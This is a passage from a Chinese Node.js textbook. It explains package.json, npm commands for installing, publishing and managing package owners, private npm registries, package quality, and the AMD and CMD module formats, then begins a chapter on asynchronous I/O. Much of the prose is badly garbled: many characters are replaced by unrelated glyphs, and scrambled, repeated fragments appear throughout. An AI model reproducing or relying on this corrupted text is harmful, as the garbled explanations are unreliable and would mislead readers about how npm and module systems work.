ഴڰ的入ԯ。ݟ౦不ߚ在这个ߙൿ，require()ழก会ಉ੼包目े下的index.js、index.node、 
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index.json஠͇作为᳭认入ԯ。 
� devDependencies。一些ഴڰ只在开发时ᭉ要Ιᠺ。ᦠᎵ这个࡚性，可以ଡᇧ包的后续开

发者߶ᜈΙᠺ包。 
下᭦是ᅻՏಳ౵expressᮉ目的package.json஠͇，Х有一定的ԟᏥ਒˦Ὑ  

{ 
  "name": "express", 
  "description": "Sinatra inspired web development framework", 
  "version": "3.3.4", 
  "author": "TJ Holowaychuk <tj@vision-media.ca>", 
  "contributors": [ 
    { 
      "name": "TJ Holowaychuk", 
      "email": "tj@vision-media.ca" 
    }, 
    { 
      "name": "Aaron Heckmann", 
      "email": "aaron.heckmann+github@gmail.com" 
    }, 
    { 
      "name": "Ciaran Jessup", 
      "email": "ciaranj@gmail.com" 
    }, 
    { 
      "name": "Guillermo Rauch", 
      "email": "rauchg@gmail.com" 
    } 
  ], 
  "dependencies": { 
    "connect": "2.8.4", 
    "commander": "1.2.0", 
    "range-parser": "0.0.4", 
    "mkdirp": "0.3.5", 
    "cookie": "0.1.0", 
    "buffer-crc32": "0.2.1", 
    "fresh": "0.1.0", 
    "methods": "0.0.1", 
    "send": "0.1.3", 
    "cookie-signature": "1.0.1", 
    "debug": "*" 
  }, 
  "devDependencies": { 
    "ejs": "*", 
    "mocha": "*", 
    "jade": "0.30.0", 
    "hjs": "*", 
    "stylus": "*", 
    "should": "*", 
    "connect-redis": "*", 
    "marked": "*", 
    "supertest": "0.6.0" 
  }, 
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  "keywords": [ 
    "express", 
    "framework", 
    "sinatra", 
    "web", 
    "rest", 
    "restful", 
    "router", 
    "app", 
    "api" 
  ], 
  "repository": "git://github.com/visionmedia/express", 
  "main": "index", 
  "bin": { 
    "express": "./bin/express" 
  }, 
  "scripts": { 
    "prepublish": "npm prune", 
    "test": "make test" 
  }, 
  "engines": { 
    "node": "*" 
  } 
} 

2.6.3� NPMᐌ⫼ࡳ㛑 

CommonJS包᜺ᔴ是ူ᝶，NPM是Ф中的一ሗ实践。NPM之于Node，相ॆ于gem之于Ruby，

pear之于PHP。对于NodeᏪ言，NPMࣞү߸੆了ኃʻழഴڰ的发࣊、߶ᜈ֖Ιᠺኍ。ύүNPM，

Node与ኃʻழഴڰ之्ᫍ੆了很好的一个生খ系统。 
ύүNPM，可以ࣞү用ਖ਼ঋᤳ߶ᜈ֖管ူΙᠺ包。ᬓ൤之外，NPM还有一些ݫࢻ的用ก，

下᭦我们សጹ̭ፀ一下。 
1. ᶹⳟᐂࡽ 
在߶ᜈNode之后，੯ᛠnpm –v̽֐可以ಉᄹॆ前NPM的ྟ本Ὑ 

$ npm -v 
1.2.32 

在不熟悉NPM的̽֐之前，可以ᄯ接੯ᛠNPMಉᄹ到ࣞүल࠭ឬ௙Ὑ 

$ npm 
 
Usage: npm <command> 
 
where <command> is one of: 
    add-user, adduser, apihelp, author, bin, bugs, c, cache, 
    completion, config, ddp, dedupe, deprecate, docs, edit, 
    explore, faq, find, find-dupes, get, help, help-search, 
    home, i, info, init, install, isntall, issues, la, link, 
    list, ll, ln, login, ls, outdated, owner, pack, prefix, 
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    prune, publish, r, rb, rebuild, remove, restart, rm, root, 
    run-script, s, se, search, set, show, shrinkwrap, star, 
    stars, start, stop, submodule, tag, test, tst, un, 
    uninstall, unlink, unpublish, unstar, up, update, version, 
    view, whoami 
 
npm <cmd> -h     quick help on <cmd> 
npm -l           display full usage info 
npm faq          commonly asked questions 
npm help <term>  search for help on <term> 
npm help npm     involved overview 
 
Specify configs in the ini-formatted file: 
    /Users/jacksontian/.npmrc 
or on the command line via: npm <command> --key value 
Config info can be viewed via: npm help config 
 
npm@1.2.32 /usr/local/lib/node_modules/npm 

可以ᄹ到，ࣞү中ѴѢ了੝有的̽֐，Ф中npm help <command>可以ಉᄹХͳ的̽֐ឬ௙。 
2. ᅝ㺙ձ䌪ࣙ 
߶ᜈΙᠺ包是NPM最࣡᜸的用ก，它的੯ᛠ语Ա是npm install express。੯ᛠឞ̽֐后，

NPM会在ॆ前目े下创तnode_modules目े，ཨ后在node_modules目े下创तexpress目े，接着

 。包解Ԍ到这个目े下࠱
߶ᜈ好Ιᠺ包后，ᄯ接在̼ᆉ中ុ用require('express');Ԁ可ल入ឞ包。require()ழก在做

ᡸफ़分ౡ的时候会᤯过ഴڰᡸफ़ಉ੼到express੝在的ͮᎵ。ഴڰल入֖包的߶ᜈ这ˏ个൥ᰠ是相

ᣘ相੽的。 
z Кࡌഴ式߶ᜈ 
。ഴय߶ᜈࡌᤈᛠК̽֐ᛠ工Х，ᥦ˥ᭉ要੯ᛠnpm install express –g̽֐౦包中դ有ݟ

ᭉ要ซ਒的是，Кࡌഴय并不是࠱一个ഴڰ包߶ᜈ为一个Кࡌ包的਒ধ，它并不਒։着可以从͉

 。ழ᤯过require()౎ल用到它ڠʹ
Кࡌഴय这个ሥ៊Ф实并不ዴᆷ，ߚ在ឰ多ឧ࠭。实ᬄ上，-g是࠱一个包߶ᜈ为Кࡌ可用的

可੯ᛠ̽֐。它಩૵包ଠᤗ஠͇中的binߙൿᦠᎵ，࠱实ᬄ脚本ᩖ接到与Node可੯ᛠ஠͇相Վ的

ᡸफ़下Ὑ 
"bin": { 
  "express": "./bin/express" 
}, 

事实上，᤯过Кࡌഴय߶ᜈ的੝有ഴڰ包都ᜁ߶ᜈᤈ了一个统一的目े下，这个目े可以᤯

过ݟ下ழय推ኪѢ౎Ὑ 
path.resolve(process.execPath, '..', '..', 'lib', 'node_modules'); 

౦Node可੯ᛠ஠͇的ͮᎵ是ݟ /usr/local/bin/node，ᥦ˥ഴڰ目े就是 /usr/local/lib/node_ 
modules。最后，᤯过ᣃᩖ接的ழय࠱binߙൿᦠᎵ的可੯ᛠ஠͇ᩖ接到Node的可੯ᛠ目े下。 

z ̯ఴڠ߶ᜈ 
对于一些没有发࣊到NPM上的包，੊是因为网ፎԓ因࠭ᒰ௃กᄯ接߶ᜈ的包，可以᤯过࠱包
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,-g是一个包为可用的 可。

Node可的是/usr/local/bin/node,目就是/usr/local/lib/node_ modules。最后,过接的bin的可接到Node的可目下
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下ᣑ到本ڠ，ཨ后以本ڠ߶ᜈ。本ڠ߶ᜈ只ᭉ为NPMૈ௙package.json஠͇੝在的ͮᎵԀ可Ὑ它

可以是一个包դpackage.json的ߚು஠͇，也可以是一个URLڦڠ，也可以是一个目े下有

package.json஠͇的目ेͮᎵ。Хͳԟ数ݟ下Ὑ 
npm install <tarball file> 
npm install <tarball url> 
npm install <folder> 

z ̯᭣߽ழຸ߶ᜈ 
 //:时，ຊ加--registry=http̽֐౦不能᤯过߽ழ源߶ᜈ，可以᤯过᪪像源߶ᜈ。在੯ᛠݟ

registry.urlԀ可，ᇧΒݟ下Ὑ 
npm install underscore --registry=http://registry.url 

 定᳭认源Ὑૈ̽֐౦使用过程中几˪都᧓用᪪像源߶ᜈ，可以੯ᛠ以下ݟ
npm config set registry http://registry.url 

3. NPM䩽ᄤੑҸ 
Բ一个ᭉ要ឬ௙的是C/C++ഴڰ实ᬄ上是编ដ后才能使用的。package.json中scriptsߙൿ的

ଡѢ就是ᝧ包在߶ᜈ੊者Ԅᣑኍ过程中ଡΘᨈߔ机҃，ᇧΒݟ下Ὑ 

"scripts": { 
  "preinstall": "preinstall.js", 
  "install": "install.js", 
  "uninstall": "uninstall.js", 
  "test": "test.js" 
} 

在以上ߙൿ中੯ᛠnpm install <package>时，preinstallૈՓ的脚本࠱会ᜁ加ᣑ੯ᛠ，ཨ后

installૈՓ的脚本会ᜁ੯ᛠ。在੯ᛠnpm uninstall <package>时，uninstallૈՓ的脚本也᝴会

做一些ຌူ工作ኍ。 
ॆ在一个Хͳ的包目े下੯ᛠnpm test时，࠱会ᤁᛠtestૈՓ的脚本。一个优ሑ的包应ॆ包

դ测试用Β，并在package.json஠͇中ᦠᎵ好ᤁᛠ测试的̽֐，ழΦ用ਖ਼ᤁᛠ测试用Β，以Φ೜

ᰍ包是否ሶ定可᭤。 
4. থᏗࣙ 
为了࠱ஞ个NPM的ึ程˘ᐎ起౎，这᧖࠱໥ᇧݟʹ编写一个包，࠱Ф发࣊到NPM̱ं中，

并᤯过NPM߶ᜈٿ本ڠ。 
z ᎃзഴڰ 
ഴڰ的内ࠓ我们ࡉ量γ૆ኤӬ，这᧖还是以sayHello作为Βߔ，相关̼ᆉݟ下Ὑ  

exports.sayHello = function () { 
  return 'Hello, world.'; 
}; 

 。为hello.jsԀ可ߚ这ൿ̼ᆉγ࠱
z ѹ始ӐӉଠᤗ文͇ 
package.json஠͇的内ࡉࠓ管相对ᣖ多，ͭ 是实ᬄ发࣊一个包时并不ᭉ要一ᛠ一ᛠ编写。NPM
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ଡΘ的npm init̽֐会ࣞү你生੆package.json஠͇，Хͳݟ下੝ᇧὙ 
$ npm init 
This utility will walk you through creating a package.json file. 
It only covers the most common items, and tries to guess sane defaults. 
 
See `npm help json` for definitive documentation on these fields 
and exactly what they do. 
 
Use `npm install <pkg> --save` afterwards to install a package and 
save it as a dependency in the package.json file. 
 
Press ^C at any time to quit. 
name: (module) hello_test_jackson 
version: (0.0.0) 0.0.1 
description: A hello world package 
entry point: (hello.js) ./hello.js 
test command:  
git repository:  
keywords: Hello world 
author: Jackson Tian 
license: (BSD) MIT 
About to write to /Users/jacksontian/git/diveintonode/examples/03/module/package.json: 
 
{ 
  "name": "hello_test_jackson", 
  "version": "0.0.1", 
  "description": "A hello world package", 
  "main": "./hello.js", 
  "scripts": { 
    "test": "echo \"Error: no test specified\" && exit 1" 
  }, 
  "repository": "", 
  "keywords": [ 
    "Hello", 
    "world" 
  ], 
  "author": "Jackson Tian", 
  "license": "MIT" 
} 
 
Is this ok? (yes) yes 
npm WARN package.json hello_test_jackson@0.0.1 No README.md file found! 

NPM᤯过ଡ问य的̓̈ᤩ个܌入ᤤᮉ，最后生੆ᮔ᜾的包ଠᤗ஠͇。ݟ౦你໗਒，ᣤ入yes，

൤时会在目े下३到package.json஠͇。 
z ซбӉ̱ं᠌Ձ 
为了፤એ包，NPMॸᮋ要使用̱ं᠌Ձ才Љ᝴࠱包发࣊到̱ं中。ซб᠌Ձ的̽֐是npm 

adduser。这也是一个ଡ问य的̓̈过程，૊ᮊ序ᤈᛠԀ可Ὑ 
$ npm adduser 
Username: (jacksontian)  
Email: (shyvo1987@gmail.com)  

图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权
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z ʼ͛Ӊ 
上͛包的̽֐是npm publish <folder>。在ѷѷ创त的package.json஠͇੝在的目े下，੯ᛠ

npm publish .开始上͛包，相关̼ᆉݟ下Ὑ 

$ npm publish . 
npm http PUT http://registry.npmjs.org/hello_test_jackson 
npm http 201 http://registry.npmjs.org/hello_test_jackson 
npm http GET http://registry.npmjs.org/hello_test_jackson 
npm http 200 http://registry.npmjs.org/hello_test_jackson 
npm http PUT http://registry.npmjs.org/hello_test_jackson/0.0.1/-tag/latest 
npm http 201 http://registry.npmjs.org/hello_test_jackson/0.0.1/-tag/latest 
npm http GET http://registry.npmjs.org/hello_test_jackson 
npm http 200 http://registry.npmjs.org/hello_test_jackson 
npm http PUT 
http://registry.npmjs.org/hello_test_jackson/-/hello_test_jackson-0.0.1.tgz/-rev/2-2d64e0946b86687 
  8bb252f182070c1d5 
npm http 201 
http://registry.npmjs.org/hello_test_jackson/-/hello_test_jackson-0.0.1.tgz/-rev/2-2d64e0946b86687 
  8bb252f182070c1d5 
+ hello_test_jackson@0.0.1 

在这个过程中，NPM会࠱目े੩包为一个ߚು஠͇，ཨ后上͛到߽ழ源̱ं中。  
z ߶ᜈӉ 
为了ͳᰍ֖测试自己上͛的包，可以૰一个目े੯ᛠnpm install hello_test_jackson߶ 

ᜈ它Ὑ 

$ npm install hello_test_jackson --registry=http://registry.npmjs.org 
npm http GET http://registry.npmjs.org/hello_test_jackson 
npm http 200 http://registry.npmjs.org/hello_test_jackson 
hello_test_jackson@0.0.1 ./node_modules/hello_test_jackson 

z ክူӉాᬌ 
᤯࣡，一个包只有一个人઴有ాᬌᤈᛠ发ݟ。࣊౦ᭉ要多人ᤈᛠ发࣊，可以使用npm owner

  ү你管ူ包的੝有者Ὑࣞ̽֐

$ npm owner ls eventproxy 
npm http GET https://registry.npmjs.org/eventproxy 
npm http 200 https://registry.npmjs.org/eventproxy 
jacksontian <shyvo1987@gmail.com> 

使用这个̽֐，也可以ຊ加包的઴有者，Ѻᬓ一个包的઴有者Ὑ 

npm owner ls <package name> 
npm owner add <user> <package name> 
npm owner rm <user> <package name> 

 ᵤࣙߚ .5
在使用NPM的过程中，੊᝴你不能ᆷ认ॆ前目े下能否᤯过require()ᮊѽल入想要的包，

这时可以੯ᛠnpm ls分ౡ包。 
这个̽֐可以为你分ౡѢॆ前ᡸफ़下能ܴ᤯过ഴڰᡸफ़੼到的੝有包，并生੆Ιᠺ树，ݟ下Ὑ 
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上包的是npm publish <folder>。在创的package.json在的目下, npm publish .开始上包,相关下
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$ npm ls 
/Users/jacksontian 
АϴР connect@2.0.3  
϶ Аϴϴ crc@0.1.0  
϶ Аϴϴ debug@0.6.0  
϶ Аϴϴ formidable@1.0.9  
϶ Аϴϴ mime@1.2.4  
϶ Јϴϴ qs@0.4.2  
Аϴϴ hello_test_jackson@0.0.1  
Јϴϴ urllib@0.2.3 

2.6.4� ሔඳNPM 

在͌ˉ的内部应用中使用NPM与开源社区中使用有一定的ࢿѾ。͌ ˉ的ᬌ҃在于，一ழ᭦ᭉ

要享ԩ到ഴڰ开发ࣛ౎的ͯᏸՋ֖ᮉ目组织上的好ܪ，Բ一ழ᭦ԁ要Ꮵᘼ到ഴڰγࠚ性的问题。

੝以，᤯过NPMР享֖发ߚ࣊在໷在的᮲ᬖ。 
为了Վ时能ܴ享ԩ到NPM上͔多的包，Վ时对自己的包ᤈᛠγ֖ࠚᬌ҃，ဗ有的解决ழ಴就

是͌ˉୃत自己的NPM̱ं。 
੝ࣳ， NPM自ᢵ是开源的，௃᝶是它的服务٧端֖客ਖ਼端。᤯过源̼ᆉୃत自己的̱ं并

不是̣˥ማࠚ。 
 。NPM̱ं的ୃतழก与ୃत᪪像ቢ（ស情可ԟ᜸ᬃेD）的ழय几˪一样۪ࡌ
与᪪像̱ं不Վ的ڠழ在于，͌ NPM可以ᤤસ不Վ൥߽ழ源̱ं中的包。图2-10为۪͌ࡌˉ

ˉ中ຈՋ使用߽ழ̱ं֖ं̱۪ࡌ的ᇧ਒图。 

 

图2-10 ຈՋ使用߽ழ̱ं֖ं̱۪ࡌ的ᇧ਒图 

对于͌ˉ内部Ꮺ言，ሒ有的可᧗用ഴڰ可以੩包到۪ࡌNPM̱ं中，这样可以γ૆ఝ新

的中心Ӑ，不至于ᝧՉ个小ᮉ目Չ自፤એ相Վҩ能的ഴڰ，౉绝᤯过复҃ዤ᠚实ဗ̼ᆉР享

的ᛠ为。 
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2.6.5� NPM┰೼䯂乬 

作为为ഴ֖ڰ包服务的工Х，NPMӠ分Φ૸。它实质上已经是一个包Р享ࣰԻ，੝有人都可

以贡献ഴڰ并࠱Ф੩包分享到这个ࣰԻ上，也可以在᝴可᝼（大多是MIT᝴可᝼）的Љ᝴下Б᠟

使用它们。NPMଡΘ的这些Φ૸，࠱ഴᩖڰ接到一个Р享ࣰԻ上，᎕ᆀ了贡献者与使用者之ᫍ的

ᡯሎ，这Ӡ分有ѽ于ഴڰ的͛୦，ᤈᏪ也Ӡ分ѽ于Node的推广。几˪没有一ሗ语言੊ࣰԻ有Node
这样Ѣဗ才3年多就઴有੆ӡ上ʹ个ኃʻழഴڰ的情景。这个ҩҶ一部分是因为Nodeᤤસ了

JavaScript，这门语言઴有极大的开发人տ۲数，Х有强大的生产Ҧ὚Բ一部分Ѷ是因为CommonJS
᜺ᔴ֖NPM，它们使३产品能ܴఝ好ڠ组织、͛୦֖使用。 

໷在的问题在于，在NPMࣰԻ上，ඇ个人都可以分享包到ࣰԻ上，᧜于开发人տපࣰ不一，

上᭦的包的质量也ᓡᖁ不ᴎ。Բ一个问题Ѷ是，Node̼ᆉ可以ᤁᛠ在服务٧端，ᭉ要Ꮵᘼ߶К 
问题。 

对于包的使用者Ꮺ言，包质量֖߶К问题ᭉ要作为是否᧓ጩഴڰ的一个ѻற్͇。 
ࡘ管NPM没有ᆵ性的ழयԜ᝿ѻ一个包的质量֖߶К，好在开源社区也有它内在的ϣऔ发ࡉ

机҃，ᥦ就是ԯᆿ஌应，Ф中NPMഴڰᯪ页（https://npmjs.org/）上的Ιᠺച可以ឬ௙ഴڰ的质

量֖可᭤性。ኃ̃个可以Ꮵಉ质量的ڠழ是GitHub，NPM中大多的包都是᤯过GitHub托管的，ഴ

的可᭤性֖ึᛠऎ。ኃʻ个可以Ꮵ量包ڰᮉ目的᜹ࠢ者数量֖分ஂ数量也能从Ξ᭦反௡这个ഴڰ

质量的ڠழ在于包中的测试用Β֖஠ು的࿃х，一个没有ӬЊ测试的包۲本上是௃กᜁ信͉的，

没有஠ು的包，使用者使用时内心也是不ᢅ实的。 
在߶К问题上，在经过ഴڰ质量的Ꮵಉ之后，应ឞ可以Ԝ૿一大Ӧ候ᤤ包。۲于使用者大多

是JavaScript程序տ，ᬱཁФ实ߚ在于ኃʻழC/C++ੰࡘഴڰ，这ዜഴڰतᝫ在͌ˉ的߶К部门೜

ಉ之后ழ可Љ᝴使用。 
事实上，为了解决上ᤗ问题，Isaac Z. Schlueter᝟Ѳल入CPAN社区中的Kwalitee᮲ಪ౎ᝧഴ

 下Ὑݟ˦ជ，发ᮂ与quality相Վ。CPAN社区对它的ԓ始定ܥᤈᛠ自ཨଅ序。Kwalitee是一个઱ڰ
þKwaliteeÿis something that looks like quality, sounds like quality, but is not quite quality. 

大ᒰ਒ধ就是ᆷ认一个ഴڰ的质量是否优ሑ并不是ᥦ˥ࠓ௛，只能从一些ᛪ៵౎ᤈᛠᏥಉ，

ͭԀΦᏥಉ都᤯过，也并不能ᆷ定它就是高质量的ഴڰ。这个ழก能ܴଅᬓ大部分不Ջಪ的ഴڰ，

ᙉཨ不ܴዴᆷͭ是有஌。঳ͳᏪ言，ቿՋKwalitee的ഴڰ要໗ᡛ的్͇与上ᤗଡԢ的Ꮵಉཁ大ᒰ

相Վ。 
� Хܫᓡ好的测试。 
� Хܫᓡ好的஠ು（README、API）。 
� Хܫᓡ好的测试᜷ᄥည。 
� Хܫᓡ好的编ᆉ᜺ᔴ。 
� ఝ多్͇。 
CPAN社区҃定了相ॆ多的᜺ᔴ౎Ꮵಉഴڰ。ల౎，NPM社区也会有ఝ多的᜺ᔴ౎Ꮵಉഴڰ。

读者可以಩૵这些్൛区分Ѣᥦ些优ሑ的ഴ֖ڰጁዢ的ഴڰ。 
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2.7� ࠡৢッ݅⫼῵ഫ 

ៀ᝶了᝴多后端ഴڰ的Хͳ实ဗ后，ဗ在我们ډፈCommonJS᜺ᔴв次ٿ到前端ഴڰ上。

JavaScript在NodeѢဗ之后，ඊѾ的编程语言多了一ᮉ优势，ᥦ就是一些ഴڰ可以在前后端实ဗ

Р用，这是因为很多API在Չ个ࠖ˞环境下都ଡΘ。ͭ是在实ᬄ情х中，前后端的环境是႔有ࢿ

Ѿ的。 

2.7.1� ῵ഫⱘջ䞡⚍ 

前后端JavaScript分ѾଲᎵ在HTTP的ˏ端，它们ੵ໥的ᝇᓣ并不Վ。เ᜾٧端的JavaScript
ᭉ要经Ԋ从Վ一个服务٧端分发到多个客ਖ਼端੯ᛠ，Ꮺ服务٧端JavaScriptѶ是相Վ的̼ᆉᭉ要多

次੯ᛠ。前者的ၪᮘ在于ࣛࠔ，后者的ၪᮘѶ在于CPU֖内ߚኍᠪ源。前者ᭉ要᤯过网ፎ加ᣑ̼

ᆉ，后者从ᇒᄧ中加ᣑ，ˏ者的加ᣑᤳऎ不在一个数量ጞ上。 
ጪ᜹Node的ഴڰल入过程，几˪К都是Վ൥的。ࡉ管与Node强ុऩ൥的ᛠ为有些相反，ͭ

它是Ջူ的。ͭ 是ݟ౦前端ഴڰ也᧓用Վ൥的ழय౎ल入，ᥦ࠱会在用ਖ਼ͳᰍ上ᤴ੆很大的问题。

UI在初始Ӑ过程中ᭉ要ᔈ᠟很多时ᫍ౎ኍय़脚本加ᣑ߸੆。 
᧜于网ፎ的ԓ因，CommonJS为后端JavaScript҃定的᜺ᔴ并不߸К᤟Ջ前端的应用场景。经

过一ൿ́੯之后，AMD᜺ᔴ最ጻ在前端应用场景中ᑇѢ。它的Кሥ是Asynchronous Module 
Definition，Ԁ是þऩ൥ഴڰ定˦ÿ，ស᜸https://github.com/amdjs/amdjs-api/wiki/AMD。ᬓ൤之外，

还有ဋͣ定˦的CMD᜺ᔴ。 

2.7.2� AMD㾘㣗 

AMD᜺ᔴ是CommonJSഴڰ᜺ᔴ的一个ढͨ，它的ഴڰ定˦ݟ下Ὑ 

define(id?, dependencies?, factory); 

它的ഴڰid֖Ιᠺ是可ᤤ的，与Nodeഴڰ相ͪ的ڠழ在于factory的内ࠓ就是实ᬄ̼ᆉ的内

 Ὑڰ下᭦的̼ᆉ定˦了一个ኤӬ的ഴ。ࠓ

define(function() { 
  var exports = {}; 
  exports.sayHello = function() { 
    alert('Hello from module: ' + module.id); 
  }; 
  return exports; 
}); 

不Վ之ܪ在于AMDഴڰᭉ要用define౎௙ᆷ定˦一个ഴڰ，Ꮺ在Node实ဗ中是ᬤय包ᜈ的，

它们的目的是ᤈᛠ作用۪ᬥሎ，仅在ᭉ要的时候ᜁल入，ᥗБ૿过Ԝᥦሗ᤯过КࡌԪ量੊者Кࡌ

的ழय实ဗٿᭉ要᤯过ᤄࠓՏቆᫍ的ழय，以БԪ量෉౿֖不小心ᜁνஇ。Բ一个区ѾѶ是内֐

࠭Ѣ。 
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的编程语言多了一优势,就是一些可以在前后端实 用,这是因为很多API在个环境下都

AMD最在前端应用场景中。

定

下的定了一个的

仅在要的时候入,过过量者 的,以量不小心
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2.7.3� CMD㾘㣗 

CMD᜺ᔴ由国内的ဋͣଡѢ，与AMD᜺ᔴ的˞要区Ѿ在于定˦ഴ֖ڰΙᠺल入的部分。

AMDᭉ要在ܥ௙ഴڰ的时候ૈ定੝有的Ιᠺ，᤯过्ԟ͛ᤫΙᠺ到ഴڰ内ࠓ中Ὑ 

define(['dep1', 'dep2'], function (dep1, dep2) { 
  return function () {}; 
}); 

与AMDഴڰ᜺ᔴ相ඊ，CMDഴڰఝ接ᤂ于Node对CommonJS᜺ᔴ的定˦Ὑ 

define(factory); 

在Ιᠺ部分，CMDஂ૆动খल入，ᇧΒݟ下Ὑ 

define(function(require, exports, module) { 
  // The module code goes here 
}); 

require、exports֖module᤯过्ԟ͛ᤫፋഴڰ，在ᭉ要Ιᠺഴڰ时，ᬣ时ុ用require()ल

入Ԁ可。 

2.7.4�  ᆍ໮⾡῵ഫ㾘㣗ݐ

为了ᝧՎ一个ഴڰ可以ᤁᛠ在前后端，在写作过程中ᭉ要ᏥᘼЩࠓ前端也实ဗ了ഴڰ᜺ᔴ的

环境。为了γ૆前后端的一ᒰ性，ዜं开发者ᭉ要࠱ዜं̼ᆉ包ᜈ在一个᫆包内。以下̼ᆉ໥ᇧ

Node、AMD、CMD以Ԣ࣡᜸的เ᜾٧ࠓhello()ழก定˦到不Վ的ᤁᛠ环境中，它能ܴЩ࠱ʹݟ

环境中Ὑ 

;(function (name, definition) { 
  // 检测上ူ文环境是否为AMDईCMD 
  var hasDefine = typeof define === 'function', 
    // 检查上ူ文环境是否为Node 
    hasExports = typeof module !== 'undefined' && module.exports; 
 
  if (hasDefine) { 
    // AMD环境ईCMD环境 
    define(definition); 
  } else if (hasExports) { 
    // 定义为೵通Node模块 
    module.exports = definition(); 
  } else { 
    // 将模块的执行结ࠬࡕ在windowՎ量中ǈ在៓બ器中thisኸၠwindow对象 
    this[name] = definition(); 
  } 
})('hello', function () { 
  var hello = function () {}; 
  return hello; 
}); 
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AMD要在的时候定有的,过到内中

e goes here 4

在

3 // The module code goes here 4

equire、exportsmodule过,在要时,时用require()

MD
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2.8� ᘏ㒧 

CommonJSଡѢ的᜺ᔴڨӠ分ኤӬ，ͭ是ဗ实਒˦ԁӠ分强大。Node᤯过ഴڰ᜺ᔴ，组织了

自ᢵ的ԓ生ഴڰ，弥补JavaScriptिፆౝ性的问题，्੆了ሶ定的ፆౝ，并Փ外ଡΘ服务。NPM
᤯过对包᜺ᔴ的ஂ૆，有஌ڠ组织了ኃʻழഴڰ，这使३ᮉ目开发中的Ιᠺ问题३到很好的解决，

并有஌ଡΘ了分享֖͛୦的ࣰԻ，ύүኃʻழ开源Ҧ量，使३Nodeኃʻழഴڰ的发ࡘᤳऎ前੝ల

有，这对于Ф他后端JavaScript语言实ဗᏪ言是从ల有过的。从一定的ᝇऎ上ᝮ，CommonJS᜺ᔴ

ࣞүNode्੆了它的ᰣᰪ。只有ᔲܤ的಩，才能۱ШѢᔳᄨ的౧Հ，并੆᫁为ԟ天大树。ൣ是这

些ऄࡎ的᜺ᔴ֖实践，使३Node有序ڠ发ࡘ着，ୋᑱ૿过ԜJavaScriptጬ˼֖ᜁឧ解的ࡌ᭦，ᤈ

ᏪᤈӐ੆ᓡ性的生খ系统。 

2.9� খ㗗䌘⑤ 

本ብԟᏥ的ᠪ源ݟ下Ὑ 
� http://www.commonjs.org 
� http://npmjs.org/doc/README.html 
� http://www.infoq.com/cn/articles/msh-using-npm-manage-node.js-dependence 
� http://nodejs.org/docs/latest/api/modules.html 
� http://addyosmani.com/writing-modular-js/ 
� http://seajs.org/docs/ 
� http://zh.wikipedia.org/zh/JavaScript 
� http://zh.wikipedia.org/wiki/ECMAScript 
� http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-262.pdf 
� http://www.w3.org/TR/html5/ 
� http://arstechnica.com/web/news/2009/12/commonjs-effort-sets-javascript-on-path-for-world-d

omination.ars 
� http://cnodejs.org/topic/4f16442ccae1f4aa270010d7 
� http://wiki.commonjs.org/wiki/Packages/1.0 
� http://npmjs.org/doc/developers.html#The-package-json-File 
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ᓖℹI/O 

 
在ኃ1ብ中，我们డኤӬ̭ፀ过ऩ൥I/O。þऩ൥ÿ这个ՏជФ实很௉就ភ生了，ͭ它的大᜺

ഴึᛠԁ是在Web 2.0ํ໼中，它ͦᬣ着AJAX的ኃ一个A（Asynchronous）ࣝԃ了Web。Node在

Ѣဗ之前，最习਄ऩ൥编程的程序տᖅ过于前端工程࣍了。前端编程ኪGUI编程的一ሗ，Ф中Ќ

஭了ՉሗAjax֖事͇，这些都是Цۋ的ऩ൥应用场景。 
ͭ事实上，ऩ൥௉就ߚ在于ୱ作系统的ऄࡎ。在ऄࡎ系统中，ऩ൥᤯过信Ձ量、๖োኍழय

有了广ค的应用。਒外的是，在绝大多数高ጞ编程语言中，ऩ൥并不多᜸，Ⴀͪᜁࡕᘈ了一ᓉ。

ᤴ੆这个ဗ៵的˞要ԓ因也᝴̽人৲ᝲὙ程序տ不ܹ᤟Ջ᤯过ऩ൥౎ᤈᛠ程序᝹᝟。 
PHP这门语言的᝹᝟最能ͳဗ这个᜹ཁ。它对ុ用ࡎ不仅ࡕᘈ了ऩ൥，甚至ᤋ多线程都不ଡ

Θ。PHP语言从ܿ到脚都是以Վ൥᫽܊的ழय౎੯ᛠ的。它的优ཁӠ分௙௬，ѽ于程序տᮊ序编

写ˉ务᤾ᣣ὚它的Ꭴཁ在小᜺ഴቢཁ中۲本不ߚ在，ͭ是在复杂的网ፎ应用中，᫽࠭܊ᒰ它௃ก

ఝ好ڠ并发。 
Ꮺ在Ф他语言中，ࡉ管可能ߚ在ऩ൥的API，ͭ是程序տ还是习਄᧓用Վ൥的ழय౎编写应

用。在͔多高ጞ编程语言੊ᤁᛠࣰԻ中，࠱ऩ൥作为˞要编程ழय֖᝹᝟ူএ的，Node是ᯪ个。 
ͦᬣ着ऩ൥I/O的还有事͇驱动֖Ӭ线程，它们ౝ੆Node的۲ុ，Ryan Dahlൣ是۲于这几个

因ገ᝹᝟了Node。Ryan Dahl最初యభ᝹᝟Ѣ一个高性能的Web服务٧，后౎Ѷ໥Ԫ为一个可以

۲于它ౝतՉሗ高ᤳ、可ͨ᎕网ፎ应用的ࣰԻ，因为一个Web服务٧已经௃ก߸К๯ᄥ֖̼ᛪ它

的能Ҧ了。ࡉ管它不в是一个服务٧，ͭ是可以۲于它ୃतఝ多ఝ˗ࠜ、ఝ强大的网ፎ应用。 
与Node的事͇驱动、ऩ൥I/O᝹᝟ူএඊᣖ相ᤂ的一个ᅻՏ产品为Nginx。Nginx᧓用ጥC编写，

性能ᛪဗ᭣࣡优ऩ。它们的区Ѿ在于，NginxХܫ᭦Փ客ਖ਼端管ူᤋ接的强大能Ҧ，ͭ是它的ᐿ

后Ιཨԩᬌ于ՉሗՎ൥ழय的编程语言。ͭ Nodeԁ是Кழͮ的，௄可以作为服务٧端Ԝူܪ客ਖ਼

端ࣛ౎的大量并发请ය，也能作为客ਖ਼端Փ网ፎ中的Չ个应用ᤈᛠ并发请ය。 
Web的դ˦是网，Node的ᛪဗ就ݟ它的Տߙ一样，是网ፎ中灵活的一个ᓫཁ。 

3.1� ЎҔМ㽕ᓖℹ I/O 
关于ऩ൥I/O为ʹ在Node᧖ݟ൤᧗要，这与Node᭦Փ网ፎᏪ᝹᝟不௃关系。Web应用已经不

в是ӬԻ服务٧就能ᑇ͉的时̼了，在ᡴ网ፎ的ፆౝ下，并发已经是ဗ̼编程中的ಕэᦠܫ了。

第 � 章
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PHP语言从到脚都是以的的

与Node的事驱动、I/O相的一个产品为Nginx。

这与Node网不关系
